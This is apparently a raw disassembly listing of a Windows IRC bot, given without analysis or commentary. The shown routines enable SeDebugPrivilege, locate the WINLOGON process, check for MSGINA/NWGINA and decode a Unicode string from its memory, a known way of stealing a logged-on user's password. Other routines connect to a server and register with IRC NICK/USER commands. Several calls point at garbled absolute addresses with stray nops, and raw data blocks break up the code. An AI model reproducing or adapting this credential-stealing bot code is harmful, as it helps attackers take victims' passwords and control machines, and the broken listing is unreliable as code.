		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2359180h,	75C08590h
		dd 0FC75FF8Fh, 9172E890h, 75FF0233h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43D1FCh
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023590h, 56B175C0h,	3390EFE8h
		dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_43D3F0
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26C0000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D969C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D9690, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D98A0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D9698, eax
		call	esi
		mov	dword_4D9694, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D8690
		push	edi
		push	ebx
		push	offset off_43D32C
		call	esi
		push	edi
		mov	edi, offset dword_4D8E90
		push	edi
		push	offset off_43D314
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D98A8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D98A8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_43D2B8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_43D280
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_43D254


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27A049Ah
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_43D220


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D969C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D969C
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D9690
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D98A0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D9698


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D9698


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2690307h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 27D01C9h
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27C0C93h
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D8690
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D8E90
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 275078Dh
		nop
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D98B4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D98AC, eax
		mov	dword_4D98B0, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 267093Fh
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2690307h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27D01C9h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27C0C93h
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27D0000h
		nop
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D8690
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D8E90
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27B0000h
		nop
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 267093Fh


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D98AC, ebx
		mov	dword_4D98B0, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 267093Fh
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D98A8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ecx, dword_4D98A8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D98B0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D98B4
		push	eax
		call	dword_4D9694
		push	[ebp+var_4]
		mov	edi, offset dword_4D96A0
		push	offset dword_4D8690
		push	offset dword_4D8E90
		push	[ebp+arg_0]
		push	offset dword_43D43C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D98A8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27C0C0Ah
		push	eax
		nop
		call	near ptr 27C0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D8E90
		mov	edi, 200h
		mov	esi, offset dword_4D8490


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D98A8
		add	eax, eax
		push	eax
		push	dword_4D98B0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D9694
		mov	eax, dword_4D98A8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D8690
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43D43C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D8690
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43D48C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27C0C0Ah
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4D08A4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4D0824
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4D0864
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4D08A8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4D07CC
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4D08BC


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42F340 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D98BC
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4D0874


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DFFDC
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_43233C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_43E078
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_43E074
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43E068


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D98C4[esi]
		mov	dword_4D98B8[esi], edi
		push	dword_4D9AC4[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D98BC[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
